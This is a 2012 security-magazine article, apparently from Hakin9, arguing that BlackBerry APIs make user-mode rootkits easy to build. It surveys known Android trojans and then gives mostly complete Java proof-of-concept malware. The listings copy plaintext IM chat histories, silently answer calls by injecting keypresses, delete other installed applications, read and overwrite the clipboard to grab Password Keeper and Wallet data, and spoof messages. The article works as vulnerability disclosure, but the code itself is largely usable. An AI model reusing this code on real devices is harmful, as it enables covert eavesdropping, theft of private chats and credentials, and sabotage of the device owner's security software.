SlideShare uma empresa Scribd logo
1 de 27
Baixar para ler offline
Mobile Security

When developers API
simplify user-mode rootkits development

This series of articles is about the ease of which user-mode rootkits for
BlackBerry can be developed.

I

n a previous article, several cases were mentioned
along with ideas on how a mobile rootkit could easily
be built on the application level by exploiting API and
privilege escalation vulnerabilities or oversight. Cases
covered the top trojans for two years with the first one
being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads
other malicious programs.
From the Android Market alone, the infected program was downloaded more than 150,000 times and
from alternative resources the number of downloads
reached 250,000. Android.Plankton does not exploit
known vulnerabilities in operating systems to elevate
its own privileges. Instead, it downloads its own service in the background immediately after the launch
of the infected application and begins to collect information about the device and sends it to a remote
server.
Another example was the Android malware DroidKungFu. This malware is capable of rooting the vulnerable Android phones and may successfully evade detection by the current mobile anti-virus software. This
malware is identified from four Android apps that have
been circulated among at least eight alternative Chinese app markets and forums. The malware will add a
new service and receiver into the infected app. The receiver will be notified when the system finishes booting
so that it can automatically launch the service without
user interaction.
Geinimi Trojan includes capacities to gain for:
• 	 Reading and collecting SMS messages
• 	 Sending and deleting selected SMS messages

56

• 	 Pulling all contact information and sending it to a
remote server (number, name, the time they were
last contacted)
• 	 Placing a phone call
• 	 Silently downloading files
• 	 Launching a web browser with a specific URL
Geinimi has three different methods of starting itself. The trojan will first launch itself as its own service. The service allows the trojan to start while the
host application appears to functioning normally. Two
other ways Geinimi starts revolves around BroadcastReceivers Android events occurring. The trojan
will wake itself up from an SMS message. The Geinimi trojan has encrypted the embedded data, payload and all communications – however, encryption
is weak. The values in the request for commands
can be used by the command and control server to
identify information about infected devices. The longitude and latitude can then be used to track the location of this specific user. Also, the trojan gathers a
list of applications and their activities on the device,
sends an SMS to any recipient, deletes SMSs, lists
SMSs to specific contacts, lists contacts and their
information, calls any number, silently downloads
files and launches a web browser with a specific
URL.
An SMS trojan called Trojan-SMS.AndroidOS.FakePlayer, once installed, actually sends out SMS messages without the user’s knowledge or consent. Users are prompted to install a small file of around 13KB
(have you ever seen such a small media player?). The
trojan bundled with it then begins texting premium rate
phone numbers. The criminals are actually the ones

04/2012
Listing 1. API-routines to design malware “MEDIA PLAYER IO (Input/Output)”
import java.io.DataInputStream;
import java.io.IOException;

import java.io.OutputStream;

import javax.microedition.io.Connector;

import javax.microedition.io.file.FileConnection;
import net.rim.device.api.io.IOUtilities;

Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”]
public static byte[] readFile(String FullName)

///FullName includes FullPath to file with file name and file extension

{

//array of data you want to return (read)

byte[] data = null;

FileConnection fconn = null;
DataInputStream is = null;
try

{

fconn = (FileConnection) Connector.open(FullName, Connector.READ);
s = fconn.openDataInputStream();

}

data = IOUtilities.streamToBytes(is);

catch (IOException e)

{ }

finally

{

try

{

f (null != is)
{
}

s.close();

if (null != fconn)

{

}
}
}

}

catch (IOException e)

fconn.close();

{ }

return data;

public static void writeFile(String FullName, byte[] data)

///FullName includes FullPath to file with file name and file extension
// data is array you want to put into file
{

FileConnection fconn = null;
OutputStream os = null;
try

{

fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE);
if (!fconn.exists())

{

www.hakin9.org/en

// create file if one doesn’t exist

57
Mobile Security

Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”]
fconn.create();

}

os = fconn.openOutputStream(fconn.fileSize());
}

os.write(data);

catch (Exception e)
finally

{

{ Dialog.alert(e.getMessage());

try

{

}

}

}

os.close();

fconn.close();

catch (IOException e)

{ Dialog.alert(e.getMessage()); }

Listing 3. File’n’Folder TreeWalk (breifly)
Vector Path = new Vector();

Path.addElement((String) “file:///SDCard/BlackBerry/im”);
Path.addElement((String) “...” - repeat several times
Enumeration Path_enum = Path.elements();
while (Path_enum.hasMoreElements())

{

}

current_path = (String) Path_enum.nextElement();
to do something

operating these numbers, so they end up collecting the
money via charges to the victims’ accounts.
The trojan spyware application known as Zitmo, is designed to steal people’s financial data by listening to all incoming SMS messages and forwarding them to a remote
web server. That is a security risk, as some banks now
send mTANs via SMS as a one-time password for authentication. By intercepting these passwords, it can not only
create fraudulent money transfers, but also verify them.
The trojan program “OddJob” does not require fraudsters to log into a user’s online bank account to steal
from it. Instead, the malware is designed to hijack a
user’s online banking session in real-time by stealing
session ID tokens. By stealing the tokens and embedding them into their own browsers, fraudsters can impersonate a legitimate user and access accounts while
the user is still active online. The access allows fraudsters to then conduct whatever banking operations the
account holder can perform. This approach is different than typical man-in-the browser attacks where attackers use trojans to steal login credentials that are
then used to break into online accounts. The second
interesting feature in OddJob is its ability to keep an

58

online banking session open and live even after users think they have logged out of their account. This
allows criminals to extract money and continue other
fraudulent activity even after the user thinks the session has ended.

BlackBerry Opportunity

Is it really difficult to bring the vulnerabilities to the BlackBerry devices? We are going to see how it is really easy
to port these techniques to BlackBerry devices.
The first two ideas and proof-of-concepts are about
the BlackBerry file-system. As you may know, BlackBerry can encipher the whole file system as well as removed files. Talking about a ciphered file-system, you
should understand that this feature makes sense only
when all storage cards and memory are removed from
devices to extract information, similar to forensic cases.
Instead, when you rely on live spying you will get much
more information rather trying to decipher it or get the
password.
First malware concept, the so called media player,
based not so much on human bugs as it is on GUI
bugs. Unfortunately, humans are not the last point of

04/2012
File Paths should be monitored

/Device/Home/User/ – if information stored on internal memory
/MediaCard/BlackBerry/ – if information stored on external memory
../IM/AIM/USERNAME/history/ – AIMs history in csv format
../IM/BlackBerryMessenger/PIN/history/ – BBMs history in csv format
../IM/GoogleTalk/USERNAME/history/ – GTalks history in csv format
../IM/Yahoo/USERNAME/history/ – YMessengers history in csv format
../IM/WindowsLive/USERNAME/history/ – WLives history in csv format
../pictures – Manully added pic or screenshoted data
../camera – Photo captured data
../videos – Video captured data
../voice notes – Voice captured data

defense when we talk about vulnerabilities, trojans,
etc. Our behaviour is based on traditions of the past
sometimes, as well as tools which used to change with
age. In the past, access to files used to be strictly via
DOS/Unix system; nowadays we have an aggregation
of folders like Music, Photos, Photo-Camera’s folder,
or Videos. The GUI was developed as a result of the
desire for a convenient way to access files. Taking the
discussion to file access on our smart phones, audio
notes, photos, videos, music, and camera’s data are
stored in one place (more correctly in two places, on
internal storage and external storage like SD-card)
and applications are allowed to access these folder
paths to extract data in real-time; moreover API access to those same folders are easily obtained. Also,
they may associate their listeners with a specific file
format like .AMR which used to store your BlackBerry
audio notes. They are often stored in the “voicenotes”
folder, named as VN-20120319-xxxx.AMR. As you can
see, you do not need to extract its properties to know
when it was recorded; you do not even need to link
(programmatically) the folder with type of file (logical
level) because “VN” is a voice note. Video files are recorded by the device and named “VID-YYYYMMDDXXXXXX.3GP” as voice note or picture file. Photos are

named as IMG20120103-xxxx. To talk about a geo-tag
per file, a “Moskva” prefix in added to file name. It is
obvious why developers store the name of the file as
the city part, date part and increment part. Continuous
numbering is allowed in these cases, but why isn’t it
developed with the increment part then the hash part
at the end of file name (XXXX-hash-dot-extension)?
Several file-systems differ in the way files should be
sorted, but developers are still able to ask device owners what they prefer. Doing this makes things simple, easier to control and a bit more secure, don’t you
agree? Of course, our media player as malware must
have a network connection to get updates despite the
fact that each BlackBerry device receives update notifications from AppWorld and OS updates should be received via USB-cable by synchronizing with the BlackBerry Desktop Software. Instead, our application may
grab news from an official site, update news, offers to
share music status and steal and send cached information (Listing 1-Listing 3).
Second malware concept covers BlackBerry chats. If
you turn on the option to save chat on internal storage
(device) or on external storage (SD-Card) you will be
notified about how you should ask interlocutor to agree
with recording your chat history. By the way, it doesn’t

Figure 1. Logged BlackBerry Conversation

Figure 2. Window of BlackBerry Conversation

www.hakin9.org/en

59
Mobile Security

Figure 3. Logged Google Conversation

Figure 5. Logged WinLive Conversation

Figure 4. Window of Google Conversation

Figure 6. Window of WinLive Conversation

Chat Details

Then stores a “history” folder which contatins .CSV files named
by account name of interlocutor like yury.chemerkin@gmail.
com. Also, conference/group chats folder are placed here:

INTERNAL STORAGE: file:///store/home/user/im
EXTERNAL STORAGE: file:///SDCard/BlackBerry/im

•	
•	
•	
•	
•	

All IM chats (from application developed by RIM) files marked
to be saved are often located on the same file paths

Then stores IM folder per each native IM client
IM Folders
•	
•	
•	
•	
•	

AIM
BlackBerry Messenger
Google Talk
Windows Live
Yahoo

Then stores folder named as your account such as
•	
•	
•	
•	
•	

60

AIM Account: yury.chemerkin@aim.com
Google Account: yury.chemerkin@gmail.com
Windows Live Account: yury.chemerkin@hotmail.com
Yahoo Account: yury.chemerkin
BlackBerry Account: 23436780 (BlackBerry PIN)

AIM: Conferences
Google: Conferences
Windows Live: Conferences
Yahoo: Conferences
BlackBerry: Group Chats

BlackBerry chat csv file format
Date/Time

PIN Sender

YYYYMMDDHHMMSSMS HEX VALUE

PIN Receiver Data
HEX VALUE

STRING

Non-BlackBerry chat csv file format
Date/Time

ID Sender

ID Receiver

Data

YYYYMMDDHHMMSSMS

STRING

STRING

STRING

04/2012
Figure 7. Logged Yahoo Conversation

Figure 9. Logged AIM (AOL) Conversation

work for each, instead, it is a global feature; that’s why
there’s no sense as you see. By default this feature is
turned off. However, if you turn on saving you will be surprised by the fact that your data is stored in clear-text.
Don’t think that only Google, Yahoo, or another nonBlackBerry doesn’t encipher them; BlackBerry chats are
still not encrypted. Also, Shape IM+ for Linux relies on
the root folder only without encryption. Note, that Yahoo
Messenger, AIM (AOL) Messenger, Windows Live Messenger, Google Messenger and BlackBerry Messenger
are developed by RIM. However, there’s a native security solution: no .CSV format by the device except for
special programs. Just copy this file to a PC and open it
with Notepad. To see formatted chats, you should open
it with Excel or OpenOffice.

• 	 The same way to store chats
• 	 You need to turn on saving option feature
• 	 Notepad or Excel to see them (Figure 1-Figure 10,
Listing 4)

• 	 File-system ciphering isn’t developed for live spying
• 	 Chats stored in clear-text
• 	 You can’t read them with device

Third malware concept is based on several APIs acting in stealth mode. At first, you have to catch incoming call events, secondly, you have to simulate an answer event by simulating pressing of the answer button and then you should hide the caller screen to get
back the home screen by simulating/pressing the escape button. Answer simulating refers to the Keypad.
KEY _ SEND; to release pressing you have to press and
release button by simulating KeyCodeEvent.KEY _ DOWN
and KeyCodeEvent.KEY _ UP. Before you do this, you
should understand that at least 1 second should pass
when you get an incoming event to draw a native caller to the screen you managed. Then (when accepting an incoming call) you should hide via Keypad.
KEY _ ESCAPE , however if you press the escape button
you will be asked whether or not to go to the home

Figure 8. Window of Conversation

Figure 10. Window of AIM (AOL) Conversation

Summary

www.hakin9.org/en

61
Mobile Security

Listing 4a. IM Chat Thief
package blackberryChatThief;
import java.io.IOException;
import java.io.InputStream;

import java.io.OutputStream;

import java.util.Enumeration;
import java.util.Vector;

import javax.microedition.io.Connector;

import javax.microedition.io.file.FileConnection;
import net.rim.device.api.io.IOUtilities;

import net.rim.device.api.io.file.ExtendedFileConnection;

import net.rim.device.api.ui.Field;

import net.rim.device.api.ui.FieldChangeListener;

import net.rim.device.api.ui.component.ButtonField;
import net.rim.device.api.ui.component.Dialog;

import net.rim.device.api.ui.container.MainScreen;

public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener
public BlackBerryChatThiefScreen()
{

setTitle(“BlackBerry Chat Thief Application”);
checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER);
checkButton.setLabel(“Steal your own chat :)”);
checkButton.setChangeListener(this);
add(checkButton);

exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER);
exitButton.setLabel(“Exit”);

exitButton.setChangeListener(this);
}

add(exitButton);

public void fieldChanged(Field field, int param)
{

if (field == checkButton)

{

String string_result;
try

{

Vector Path = new Vector();
String current_path = new String();
String current_im = new String();
String current_id = new String();

String current_conv = new String();
String root_dir = new String();

62

04/2012
Listing 4b. IM Chat Thief
Vector log = new Vector();
FileConnection root_sdcard = null;
FileConnection root_store = null;
try

{
}

root_sdcard = (FileConnection)Connector.open(“file:///SDCard/”);

catch (IOException ex)
{
}

log.addElement((String) “SDCard not found”);

try

{

}

root_store = (FileConnection)Connector.open(“file:///store/”);

catch (IOException ex)

{

}

log.addElement((String) “store not found”);

if ((root_sdcard != null) && root_sdcard.exists())

{

}

root_dir = “file:///SDCard/”;

Path.addElement((String) “file:///SDCard/BlackBerry/im”);

else if ((root_store != null) && root_store.exists())

{

}

root_dir = “file:///store/home/user/”;

Path.addElement((String) “file:///store/home/user/im”);

Enumeration Path_enum = Path.elements();

FileConnection copyf = (FileConnection)Connector.open(root_dir + “chat.txt”);
if (copyf.exists())

{
}

copyf.delete();

copyf.create();

OutputStream writer = copyf.openOutputStream();

FileConnection logger = (FileConnection)Connector.open(root_dir + “log.txt”);
if (logger.exists())

{
}

logger.delete();

logger.create();

OutputStream logwriter = logger.openOutputStream();
if (!Path_enum.hasMoreElements())

{

getBytes());

www.hakin9.org/en

logwriter.write((“Directory [“ + Path + “] doesn’t have subdirsrn”).

63
Mobile Security

Listing 4c. IM Chat Thief
}

logwriter.flush();

else

while (Path_enum.hasMoreElements())

{

logwriter.write((“Directory [“ + Path + “] has subdirsrn”).getBytes());
logwriter.flush();

current_path = (String) Path_enum.nextElement();

FileConnection IM_dir = (FileConnection)Connector.open(current_path);
if (!IM_dir.exists())

{

logwriter.write((“Path [“ + IM_dir.getURL() + “] doesn’t found

rn”).getBytes());

logwriter.flush();

}

else

{
logwriter.flush();

logwriter.write((“Path [“ + IM_dir.getURL() + “] foundsrn”).getBytes());

Enumeration IM_list = IM_dir.list();
if (!IM_list.hasMoreElements())

{

logwriter.write((“Directory [“ + IM_dir.getURL() + “] doesn’t have

subdirsrn”).getBytes());
}

logwriter.flush();

else

while (IM_list.hasMoreElements())

{
rn”).getBytes());

logwriter.write((“Directory [“ + IM_dir.getURL() + “] has subdirs
logwriter.flush();
current_path = IM_dir.getURL() + (String) IM_list.nextElement();
FileConnection ID = (FileConnection)Connector.open(current_path);
if (!ID.exists())

{
getBytes());
}

logwriter.write((“Path [“ + ID.getURL() + “] doesn’t foundrn”).
logwriter.flush();

else

{
getBytes());

logwriter.write((“Path [“ + ID.getURL() + “] foundsrn”).
logwriter.flush();
current_im = “CURRENT IM TYPE :: “ + ID.getName().substring(0,

ID.getName().length() - 1) + “rn”;

64

04/2012
Listing 4d. IM Chat Thief
//current_im = “rn--------IM SEPARATOR------rn” + current_im;
Enumeration ID_list = ID.list();
if (!ID_list.hasMoreElements())

{
subdirsrn”).getBytes());
}

logwriter.write((“Directory [“ + ID.getURL() + “] doesn’t have
logwriter.flush();

else

while (ID_list.hasMoreElements())

////if (ID_list.hasMoreElements())
{

rn”).getBytes());

logwriter.write((“Directory [“ + ID.getURL() + “] has subdirs
logwriter.flush();
current_path = ID.getURL() + (String) ID_list.nextElement() +

“history”;

FileConnection history_dir = (FileConnection)Connector.

open(current_path);

if (!history_dir.exists())

{

doesn’t existrn”).getBytes());
}

logwriter.write((“Directory [“ + history_dir.getURL() + “]
logwriter.flush();

else

{
- (“/history”).length());

current_id = current_path.substring(0, current_path.length()
current_id = current_id.substring(ID.getURL().length(),

current_id.length());// - ID.getURL().length());

//current_id = “rn--------ID SEPARATOR------rn” + current_id;
current_id = “CURRENT ID :: “ + current_id + “rn”;
Enumeration chats = history_dir.list();
if (!chats.hasMoreElements())

{

logwriter.write((“Directory [“ + history_dir.getURL() +

“] doesn’t have subdirsrn”).getBytes());

logwriter.flush();

}

else

{
“] has subdirsrn”).getBytes());

logwriter.write((“Directory [“ + history_dir.getURL() +
logwriter.flush();

while (chats.hasMoreElements())

{

www.hakin9.org/en

65
Mobile Security

Listing 4e. IM Chat Thief
current_path = history_dir.getURL() + (String)

chats.nextElement();

ExtendedFileConnection chat_file =

(ExtendedFileConnection)Connector.open(current_path);

if (!chat_file.isDirectory() & !chat_file.getName().

endsWith(“rem”))

{

current_conv = chat_file.getName();

//current_conv = “rn--------CHAT SEPARATOR----

--rn” + current_conv;

current_conv = “CURRENT CHAT :: “ + current_conv + “rnCHAT :: rn”;

byte[] array = new byte[(int) chat_file.

fileSize()];

InputStream raw_reader = chat_file.

openInputStream();

array = IOUtilities.streamToBytes(raw_reader);
raw_reader.close();

logwriter.write((“CSV [“ + chat_file.getURL() +

“] has readrn”).getBytes());

logwriter.flush();
writer.write(current_im.getBytes());
writer.write(current_id.getBytes());

writer.write(current_conv.getBytes());
writer.write(array);

writer.write((“rn--------separator------

rn”).getBytes());

logwriter.write((“CSV [“ + chat_file.getURL() +

“] has writtenrn”).getBytes());

}

}

}

}

}

}

}

}

logwriter.flush();

}

logwriter.write((“DONErn”).getBytes());
logwriter.flush();

string_result = “DONE”;
writer.flush();

writer.close();

logwriter.flush();

logwriter.close();
copyf.close();

66

04/2012
Listing 4f. IM Chat Thief
}

catch (Exception ex)
{
}
}

string_result = ex.toString() + “||” + ex.getMessage();

Dialog.alert(string_result);

else if (field == exitButton)

{

}

}

System.exit(0);

}

Figure 11. Before Call

Figure 13. Answering

screen. Therefore malware has to simulate an agreement via Keypad.KEY _ ENTER to successfully bypass the
user eyes. Where it is all at, no one has another API
to make your own caller screen and manage the in-

coming calls. To extend impacting to simulate physical input, you can read my 2nd article (Hakin9, Is
Data Secure On The Password Protected Blackberry Device). However, it is easy to put a symbol in the

Figure 12. Incoming Call

Figure 14. Escaping to the Home Screen

www.hakin9.org/en

67
Mobile Security

Listing 5a. Caller Malware
package blackBerryPhoneEmulation;
import net.rim.blackberry.api.phone.Phone;

import net.rim.blackberry.api.phone.PhoneCall;

import net.rim.blackberry.api.phone.PhoneListener;
import net.rim.device.api.system.EventInjector;

import net.rim.device.api.system.EventInjector.KeyCodeEvent;
import net.rim.device.api.ui.UiApplication;

public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener
{

int sleep_time = 1000;

public static void main(String[] args)
{

}

BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp();
theApp.enterEventDispatcher();

public BlackBerryPhoneEmulationApp()
{

}

pushScreen(new BlackBerryPhoneEmulationScreen());
Phone.addPhoneListener(this);

public void close()
{

}

Phone.removePhoneListener(this);
System.exit(0);

public void callIncoming(int callId)
{

final PhoneCall call = Phone.getCall(callId);

final String number = call.getDisplayPhoneNumber();

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_

DOWN, (char) Keypad.KEY_SEND, 0);

EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.

KEY_UP, (char) Keypad.KEY_SEND, 0);
try

{
}

Thread.sleep(sleep_time);

catch (InterruptedException e) {}
EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);

}

68

04/2012
Listing 5b. Caller Malware
public void callAdded(int callId) {}

public void callAnswered(int callId) {}

public void callConferenceCallEstablished(int callId) {}
public void callConnected(int callId)
{

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char)
Keypad.KEY_ESCAPE, 0);

EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char)
Keypad.KEY_ESCAPE, 0);
try

{

}

Thread.sleep(sleep_time);

// Waiting a caller screen have been drawn

catch (InterruptedException e) {}
}

EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);

///Releasing Escaping to the Home Screen

pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0);
eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0);
try

{

}

Thread.sleep(sleep_time);

//Waiting prompt screen have been drawn

catch (InterruptedException e) {}
EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);
}

///Accepting Escaping to the Home Screen

public void callDirectConnectConnected(int callId) {}

public void callDirectConnectDisconnected(int callId) {}
public void callDisconnected(int callId) {}
public void callEndedByUser(int callId) {}

public void callFailed(int callId, int reason) {}
public void callHeld(int callId) {}

public void callInitiated(int callid) {}
public void callRemoved(int callId) {}

public void callResumed(int callId) {}
public void callWaiting(int callid) {}
}

public void conferenceCallDisconnected(int callId) {}

www.hakin9.org/en

69
Mobile Security

Figure 15. App list with Victim app

Figure 16. Details of Victim Apps

text field, while putting a string by one symbol and
track-wheel moving is too difficult although it may be
enough to input passwords (Figure 11-Figure 14, Listing 5).

Figure 17. App List with deleted victim app

70

Figure 18. Details of deleted victim app

Fourth malware concept is about destructive interaction. What is a common thesis when someone talks
about security? A security component must not be deleted because it brings down a security wall. Why doesn’t
malware delete all applications and modules installed
on your device? Some applications consist of several
modules and one removed crash down after the first
successful reboot. Another attack vector, BlackBerry
Enterprise Server offers application controlling by resending modules to selected devices regarding IT Policy. If a malware application turns off wireless to crash
the device then no one policy saves the device. When
you install an application you are asked to choose permissions that you grant to this application. As you know
from my articles about screenshot catching, the device
sometimes should ask what windows are allowed to interact with screenshot and which aren’t allowed. This
case is the same and all you need to delete other applications is a name and permission to interact with Application Manager. How do you extract data about applications? The easiest way to interrupt user flows is to grab
active applications at current time via ApplicationManager.
getApplicationManager().getVisibleApplications();. When
the application list has got malware grabs LocalizedName and ModuleHandle to find them in Application
Manager lists and deletes by using: ModuleHandle. That’s
all (Figure 15-Figure 18, Listing 6).
Fifth malware concept manages with Clipboard. From
previous zsndroid malware cases I retell in the beginning you learn password may extract from SMS or GET/
POST requests. My case refers to Password Keeper
and BlackBerry Wallet, which are both developed by
RIM; also, it is native and pre-installed by default. The
first application is designed to keep passwords more
than the second, which is designed to keep not only
passwords but also banking data. Extract essential information stored in BlackBerry backups. Elcomsoft
BlackBerry Backup Explorer allows forensic specialists

04/2012
Listing 6a. Code Example how find application among set of applications already running and how delete application
package blackBerryDeleterpackage;
import net.rim.device.api.system.ApplicationDescriptor;
import net.rim.device.api.system.ApplicationManager;

import net.rim.device.api.system.CodeModuleManager;
import net.rim.device.api.ui.Field;

import net.rim.device.api.ui.FieldChangeListener;

import net.rim.device.api.ui.component.ButtonField;
import net.rim.device.api.ui.container.MainScreen;

public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener
{

ButtonField bt_find = null;

ButtonField bt_delete = null;
TextField tf2 = null;
String stf2 = “”;

public BlackBerryDeleterScreen()
{

// Set the displayed title of the screen
setTitle(“BlackBerryDeleterTitle”);
bt_find = new ButtonField();

bt_delete = new ButtonField();
tf2 = new TextField();

bt_find.setLabel(“FIND APP”);

bt_delete.setLabel(“DEL APP”);

bt_find.setChangeListener(this);

bt_delete.setChangeListener(this);
tf2.setLabel(“INFOrn”);
add(tf2);

add(bt_find);
}

add(bt_delete);

public void fieldChanged(Field field, int context)
{

if (field == bt_find)

//BUTTON “FIND APPLICATION”
{
{

try

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle();
ApplicationDescriptor desc = null;

ApplicationDescriptor[] descs = null;
try

{

descs = ApplicationManager.getApplicationManager().

getVisibleApplications();

www.hakin9.org/en

71
Mobile Security

Listing 6b. Code Example how find application among set of applications already running and how delete application
int handle = 0;

stf2 += “length = “ + descs.length + “rn”;
for (int i = 0; i < descs.length; i++)

{

stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”;
stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”;

if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0)

{

handle = descs[i].getModuleHandle();
}

stf2 += descs[i].getModuleName() + “rn”;

else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0)

{

}

}

handle = descs[i].getModuleHandle();

stf2 += descs[i].getLocalizedName() + “rn”;

try

{

if (handle > 0)

{
}

stf2 += “app found” + “rn”;

else

{

}

}

stf2 += “handle null” + “rn”;

catch (Exception e)
{
}

stf2 += e.getMessage() + “rn”;

}

catch (Exception e)
{
}

}

stf2 += e.getMessage() + “rn”;

catch (Exception e)
{
}

stf2 += e.getMessage();

tf2.setText(stf2);
}

else if (field == bt_delete)

//BUTTON DELETE APPLICATION
{

{

try

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle();
ApplicationDescriptor desc = null;

72

04/2012
Listing 6c. Code Example how find application among set of applications already running and how delete application
ApplicationDescriptor[] descs = null;
try

{

descs = ApplicationManager.getApplicationManager().getVisibleApplications();
int handle = 0;

stf2 += “length = “ + descs.length + “rn”;
for (int i = 0; i < descs.length; i++)

{

stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”;
stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”;

if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0)

{

}

handle = descs[i].getModuleHandle();

stf2 += descs[i].getModuleName() + “rn”;

else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0)

{

}

}

handle = descs[i].getModuleHandle();

stf2 += descs[i].getLocalizedName() + “rn”;

try

{

if (handle > 0)

{

}

CodeModuleManager.deleteModuleEx(handle, true);
stf2 += “true delete” + “rn”;

else

{
}

}

stf2 += “handle null” + “rn”;

catch (Exception e)
{
}

stf2 += e.getMessage() + “rn”;

}

catch (Exception e)
{
}

}

stf2 += e.getMessage() + “rn”;

catch (Exception e)
{
}

stf2 += e.getMessage();

tf2.setText(stf2);

}

}

www.hakin9.org/en

}

73
Mobile Security

Listing 7. Clipboard exploitation (How extract data to steal
data, and how to put data to mislead someone)
import net.rim.device.api.ui.component.TextField;

import net.rim.device.api.ui.container.MainScreen;
import net.rim.device.api.system.Clipboard;

public final class BlackBerryClipboardScreen extends
MainScreen

{

public BlackBerryClipboardScreen()
{

setTitle(“BlackBerryClipboardTitle”);

Clipboard clipb = Clipboard.getClipboard();

Figure 19. BB Wallet. Creating & Stealing

TextField tf1 = new TextField();

investigating the content of BlackBerry devices by extracting, analyzing, printing or exporting the content of a
BlackBerry backup produced with BlackBerry Desktop
Software. But Elcomsoft manages to work with exported data that you back up. RIM made a “good” security
solution to restrict any access attempts to the clipboard
while their applications are active. If you try to grab data
you’ll get the error message “Unauthorized attempt to
attach to this application.” Don’t panic, because when a
user minimizes it or closes it, a successful data extraction happens. If you want to know whether BlackBerry
Wallet (or Password Keeper) is running now, use the
code example on how to find application (Figure 19-Figure 20, Listing 7).
Screenshotting has been discussed many times,
therefore I highlight that “this feature” can easily bypass security flows when the user restricts other permissions. For example, if user restricts a GEO permission you listen to active applications for catching
screen shot of a map that the user is seeing at current
time. When the map application starts it often shows

add(tf1);

TextField tf2 = new TextField();
add(tf2);

TextField tf3 = new TextField();
add(tf3);

tf1.setLabel(“to_string : < “ + clipb.
toString() + “ >”);

// SHOW CLIPBOARD AS STRING OBJECT

String str = “”;
try

{

}

str = (String)clipb.get();
// GET CLIPBOARD DATA

catch (Exception e)

{ }

try

{

}

clipb.put(“PUT”);

// CLIPBOARD SET BY WORD “PUT”

catch (Exception e) { }
tf2.setLabel(“getted : < “ + str + “ >”);
try

{

}

// SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN

str = (String)clipb.get();
// GET NEW CLIPBOARD DATA

catch (Exception e)

{

}

tf3.setLabel(“getted : < “ + str + “ >”);

// SHOW THAT CLIPBOARD SET BY WORD “PUT”

Figure 20. BB Wallet. Showing & Stealing

74

}

}

04/2012
Listing 8a. MESSAGE MISLEADING
package blackBerryMessageMisleading;
import java.io.DataInputStream;

CONSUME_CLICK | ButtonField.FIELD_
HCENTER);

checkiButton.setLabel(“Inbox Misleading”);

checkiButton.setChangeListener(this);
add(checkiButton);

import java.io.IOException;
import java.util.Date;

checkiaButton = new ButtonField(ButtonField.

CONSUME_CLICK | ButtonField.FIELD_

import javax.microedition.io.Connector;

HCENTER);

import javax.microedition.io.file.FileConnection;

checkiaButton.setLabel(“Inbox Attach

import net.rim.blackberry.api.mail.Address;

checkiaButton.setChangeListener(this);

Misleading”);

import net.rim.blackberry.api.mail.AddressException;

add(checkiaButton);

import net.rim.blackberry.api.mail.Folder;

import net.rim.blackberry.api.mail.Message;

checkoButton = new ButtonField(ButtonField.

import net.rim.blackberry.api.mail.MessagingException;

CONSUME_CLICK | ButtonField.FIELD_

import net.rim.blackberry.api.mail.Multipart;

HCENTER);

import net.rim.blackberry.api.mail.

checkoButton.setLabel(“Outbox Misleading”);

import net.rim.blackberry.api.mail.PINAddress;

add(checkoButton);

checkoButton.setChangeListener(this);

NoSuchServiceException;

import net.rim.blackberry.api.mail.Session;
import net.rim.blackberry.api.mail.Store;

checkpoButton = new ButtonField(ButtonField.

import net.rim.blackberry.api.mail.

CONSUME_CLICK | ButtonField.FIELD_
HCENTER);

SupportedAttachmentPart;

import net.rim.device.api.io.IOUtilities;

checkpoButton.setLabel(“OutBox PIN MISLEAD”);

import net.rim.device.api.ui.Field;

add(checkpoButton);

import net.rim.device.api.io.MIMETypeAssociations;

checkpoButton.setChangeListener(this);

import net.rim.device.api.ui.FieldChangeListener;

import net.rim.device.api.ui.component.ButtonField;

checkpiButton = new ButtonField(ButtonField.

import net.rim.device.api.ui.component.Dialog;

CONSUME_CLICK | ButtonField.FIELD_

import net.rim.device.api.ui.component.TextField;

HCENTER);

import net.rim.device.api.ui.container.MainScreen;

checkpiButton.setLabel(“InBox PIN MISLEAD”);

public final class BlackBerryMessageMisleadingScreen

add(checkpiButton);

checkpiButton.setChangeListener(this);

extends MainScreen implements

{

tf = new TextField();

FieldChangeListener

tf.setLabel(“enter fake pin”);

private ButtonField checkiButton = null;

private ButtonField checkoButton = null;

tf.setText(“”);
add(tf);

private ButtonField checkpoButton = null;

}

private ButtonField checkiaButton = null;

public void fieldChanged(Field field, int param)

private ButtonField checkpiButton = null;
TextField tf = null;

public BlackBerryMessageMisleadingScreen()
{

setTitle(“BlackBerry Message Misleading”);
TextField textfield = new TextField();

